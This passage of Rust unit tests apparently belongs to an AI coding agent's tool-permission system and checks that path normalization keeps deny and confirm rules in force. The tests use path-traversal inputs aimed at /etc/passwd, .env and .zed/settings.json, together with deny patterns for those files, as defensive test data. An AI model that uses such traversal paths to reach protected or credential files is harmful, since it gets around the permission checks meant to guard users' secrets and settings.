1979 fn normalize_path_relative_traversal_above_start() {
1980 assert_eq!(normalize_path("../../../etc/passwd"), "../../../etc/passwd");
1981 }
1982
1983 #[test]
1984 fn normalize_path_relative_traversal_with_curdir() {
1985 assert_eq!(normalize_path("../../."), "../..");
1986 }
1987
1988 #[test]
1989 fn normalize_path_relative_partial_traversal_above_start() {
1990 assert_eq!(normalize_path("foo/../../bar"), "../bar");
1991 }
1992
1993 #[test]
1994 fn most_restrictive_deny_vs_allow() {
1995 assert!(matches!(
1996 most_restrictive(
1997 ToolPermissionDecision::Deny("x".into()),
1998 ToolPermissionDecision::Allow
1999 ),
2000 ToolPermissionDecision::Deny(_)
2001 ));
2002 }
2003
2004 #[test]
2005 fn most_restrictive_allow_vs_deny() {
2006 assert!(matches!(
2007 most_restrictive(
2008 ToolPermissionDecision::Allow,
2009 ToolPermissionDecision::Deny("x".into())
2010 ),
2011 ToolPermissionDecision::Deny(_)
2012 ));
2013 }
2014
2015 #[test]
2016 fn most_restrictive_deny_vs_confirm() {
2017 assert!(matches!(
2018 most_restrictive(
2019 ToolPermissionDecision::Deny("x".into()),
2020 ToolPermissionDecision::Confirm
2021 ),
2022 ToolPermissionDecision::Deny(_)
2023 ));
2024 }
2025
2026 #[test]
2027 fn most_restrictive_confirm_vs_deny() {
2028 assert!(matches!(
2029 most_restrictive(
2030 ToolPermissionDecision::Confirm,
2031 ToolPermissionDecision::Deny("x".into())
2032 ),
2033 ToolPermissionDecision::Deny(_)
2034 ));
2035 }
2036
2037 #[test]
2038 fn most_restrictive_deny_vs_deny() {
2039 assert!(matches!(
2040 most_restrictive(
2041 ToolPermissionDecision::Deny("a".into()),
2042 ToolPermissionDecision::Deny("b".into())
2043 ),
2044 ToolPermissionDecision::Deny(_)
2045 ));
2046 }
2047
2048 #[test]
2049 fn most_restrictive_confirm_vs_allow() {
2050 assert_eq!(
2051 most_restrictive(
2052 ToolPermissionDecision::Confirm,
2053 ToolPermissionDecision::Allow
2054 ),
2055 ToolPermissionDecision::Confirm
2056 );
2057 }
2058
2059 #[test]
2060 fn most_restrictive_allow_vs_confirm() {
2061 assert_eq!(
2062 most_restrictive(
2063 ToolPermissionDecision::Allow,
2064 ToolPermissionDecision::Confirm
2065 ),
2066 ToolPermissionDecision::Confirm
2067 );
2068 }
2069
2070 #[test]
2071 fn most_restrictive_allow_vs_allow() {
2072 assert_eq!(
2073 most_restrictive(ToolPermissionDecision::Allow, ToolPermissionDecision::Allow),
2074 ToolPermissionDecision::Allow
2075 );
2076 }
2077
2078 #[test]
2079 fn decide_permission_for_path_no_dots_early_return() {
2080 // When the path has no `.` or `..`, normalize_path returns the same string,
2081 // so decide_permission_for_path returns the raw decision directly.
2082 let settings = test_agent_settings(ToolPermissions {
2083 default: ToolPermissionMode::Confirm,
2084 tools: Default::default(),
2085 });
2086 let decision = decide_permission_for_path(EditFileTool::NAME, "src/main.rs", &settings);
2087 assert_eq!(decision, ToolPermissionDecision::Confirm);
2088 }
2089
2090 #[test]
2091 fn decide_permission_for_path_traversal_triggers_deny() {
2092 let deny_regex = CompiledRegex::new("/etc/passwd", false).unwrap();
2093 let mut tools = collections::HashMap::default();
2094 tools.insert(
2095 Arc::from(EditFileTool::NAME),
2096 ToolRules {
2097 default: Some(ToolPermissionMode::Allow),
2098 always_allow: vec![],
2099 always_deny: vec![deny_regex],
2100 always_confirm: vec![],
2101 invalid_patterns: vec![],
2102 },
2103 );
2104 let settings = test_agent_settings(ToolPermissions {
2105 default: ToolPermissionMode::Confirm,
2106 tools,
2107 });
2108
2109 let decision =
2110 decide_permission_for_path(EditFileTool::NAME, "/tmp/../etc/passwd", &settings);
2111 assert!(
2112 matches!(decision, ToolPermissionDecision::Deny(_)),
2113 "expected Deny for traversal to /etc/passwd, got {:?}",
2114 decision
2115 );
2116 }
2117
2118 #[test]
2119 fn normalize_path_collapses_dot_segments() {
2120 assert_eq!(
2121 normalize_path("src/../.zed/settings.json"),
2122 ".zed/settings.json"
2123 );
2124 assert_eq!(normalize_path("a/b/../c"), "a/c");
2125 assert_eq!(normalize_path("a/./b/c"), "a/b/c");
2126 assert_eq!(normalize_path("a/b/./c/../d"), "a/b/d");
2127 assert_eq!(normalize_path(".zed/settings.json"), ".zed/settings.json");
2128 assert_eq!(normalize_path("a/b/c"), "a/b/c");
2129 }
2130
2131 #[test]
2132 fn normalize_path_handles_multiple_parent_dirs() {
2133 assert_eq!(normalize_path("a/b/c/../../d"), "a/d");
2134 assert_eq!(normalize_path("a/b/c/../../../d"), "d");
2135 }
2136
2137 fn path_perm(
2138 tool: &str,
2139 input: &str,
2140 deny: &[&str],
2141 allow: &[&str],
2142 confirm: &[&str],
2143 ) -> ToolPermissionDecision {
2144 let mut tools = collections::HashMap::default();
2145 tools.insert(
2146 Arc::from(tool),
2147 ToolRules {
2148 default: None,
2149 always_allow: allow
2150 .iter()
2151 .map(|p| {
2152 CompiledRegex::new(p, false)
2153 .unwrap_or_else(|| panic!("invalid regex: {p:?}"))
2154 })
2155 .collect(),
2156 always_deny: deny
2157 .iter()
2158 .map(|p| {
2159 CompiledRegex::new(p, false)
2160 .unwrap_or_else(|| panic!("invalid regex: {p:?}"))
2161 })
2162 .collect(),
2163 always_confirm: confirm
2164 .iter()
2165 .map(|p| {
2166 CompiledRegex::new(p, false)
2167 .unwrap_or_else(|| panic!("invalid regex: {p:?}"))
2168 })
2169 .collect(),
2170 invalid_patterns: vec![],
2171 },
2172 );
2173 let permissions = ToolPermissions {
2174 default: ToolPermissionMode::Confirm,
2175 tools,
2176 };
2177 let raw_decision = ToolPermissionDecision::from_input(
2178 tool,
2179 &[input.to_string()],
2180 &permissions,
2181 ShellKind::Posix,
2182 );
2183
2184 let simplified = normalize_path(input);
2185 if simplified == input {
2186 return raw_decision;
2187 }
2188
2189 let simplified_decision =
2190 ToolPermissionDecision::from_input(tool, &[simplified], &permissions, ShellKind::Posix);
2191
2192 most_restrictive(raw_decision, simplified_decision)
2193 }
2194
2195 #[test]
2196 fn decide_permission_for_path_denies_traversal_to_denied_dir() {
2197 let decision = path_perm(
2198 "copy_path",
2199 "src/../.zed/settings.json",
2200 &["^\\.zed/"],
2201 &[],
2202 &[],
2203 );
2204 assert!(matches!(decision, ToolPermissionDecision::Deny(_)));
2205 }
2206
2207 #[test]
2208 fn decide_permission_for_path_confirms_traversal_to_confirmed_dir() {
2209 let decision = path_perm(
2210 "copy_path",
2211 "src/../.zed/settings.json",
2212 &[],
2213 &[],
2214 &["^\\.zed/"],
2215 );
2216 assert!(matches!(decision, ToolPermissionDecision::Confirm));
2217 }
2218
2219 #[test]
2220 fn decide_permission_for_path_allows_when_no_traversal_issue() {
2221 let decision = path_perm("copy_path", "src/main.rs", &[], &["^src/"], &[]);
2222 assert!(matches!(decision, ToolPermissionDecision::Allow));
2223 }
2224
2225 #[test]
2226 fn decide_permission_for_path_most_restrictive_wins() {
2227 let decision = path_perm(
2228 "copy_path",
2229 "allowed/../.zed/settings.json",
2230 &["^\\.zed/"],
2231 &["^allowed/"],
2232 &[],
2233 );
2234 assert!(matches!(decision, ToolPermissionDecision::Deny(_)));
2235 }
2236
2237 #[test]
2238 fn decide_permission_for_path_dot_segment_only() {
2239 let decision = path_perm(
2240 "delete_path",
2241 "./.zed/settings.json",
2242 &["^\\.zed/"],
2243 &[],
2244 &[],
2245 );
2246 assert!(matches!(decision, ToolPermissionDecision::Deny(_)));
2247 }
2248
2249 #[test]
2250 fn decide_permission_for_path_no_change_when_already_simple() {
2251 // When path has no `.` or `..` segments, behavior matches decide_permission_from_settings
2252 let decision = path_perm("copy_path", ".zed/settings.json", &["^\\.zed/"], &[], &[]);
2253 assert!(matches!(decision, ToolPermissionDecision::Deny(_)));
2254 }
2255
2256 #[test]
2257 fn decide_permission_for_path_raw_deny_still_works() {
2258 // Even without traversal, if the raw path itself matches deny, it's denied
2259 let decision = path_perm("copy_path", "secret/file.txt", &["^secret/"], &[], &[]);
2260 assert!(matches!(decision, ToolPermissionDecision::Deny(_)));
2261 }
2262
2263 #[test]
2264 fn decide_permission_for_path_denies_edit_file_traversal_to_dotenv() {
2265 let decision = path_perm(EditFileTool::NAME, "src/../.env", &["^\\.env"], &[], &[]);
2266 assert!(matches!(decision, ToolPermissionDecision::Deny(_)));
2267 }
2268}